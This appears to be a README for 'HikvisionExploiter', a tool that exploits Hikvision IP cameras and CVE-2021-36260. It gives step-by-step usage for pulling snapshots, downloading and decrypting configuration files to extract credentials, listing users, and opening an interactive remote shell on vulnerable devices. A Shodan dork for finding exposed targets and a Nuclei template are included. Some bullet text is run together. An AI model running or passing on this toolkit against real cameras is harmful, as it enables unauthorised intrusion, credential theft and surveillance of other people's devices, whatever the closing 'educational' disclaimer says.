
HikvisionExploiter is a Python-based utility designed to automate exploitation and directory accessibility checks on Hikvision network cameras exploiting the Web interface Version 3.1.3.150324 + CVE-2021-36260 Detection
HikvisionExploiter is a powerful and automated exploitation toolkit targeting unauthenticated endpoints on Hikvision IP cameras, particularly those running firmware version 3.1.3.150324.
It performs:
Built for researchers, red teamers, and IoT security enthusiasts.
/onvif-http/snapshot endpoint for snapshot exposure/System/configurationFile, decrypts using AES + XOR, and extracts credentials/Security/userswebLanguage injectionlogs/ThreadPoolExecutorpip install -r requirements.txtffmpeg (optional, for future snapshot-to-video capability)pycrypto (for config decryption):
pip install pycrypto
git clone https://github.com/HexBuddy/HikvisionExploiter.git
cd HikvisionExploiter
pip3 install -r requirements.txt
Create a targets.txt file with the following format:
IP:PORT
Example:
192.168.1.10:80
10.10.10.20:81
python3 checker.py
This will:
logs/IP_PORT_TIMESTAMP/To interactively run commands on a vulnerable device:
chmod +x shell.sh
./shell.sh <ip:port>
Example:
./shell.sh 192.168.1.10:80
If vulnerable, you'll enter an interactive shell:
hikvision-shell> uname -a
Linux hik-cam 3.0.8 #1 Wed Mar 18 ...
Use the following Shodan dork to locate exposed Hikvision cameras:
3.1.3.150324
A Nuclei-compatible template is included: nuclei-template.yaml
Usage:
nuclei -t nuclei-template.yaml -list targets.txt
Detects:
MIT License ©
See LICENSE for more details.
Telegram: @HexBuddy127001
Built with ❤️ for educational and ethical research only.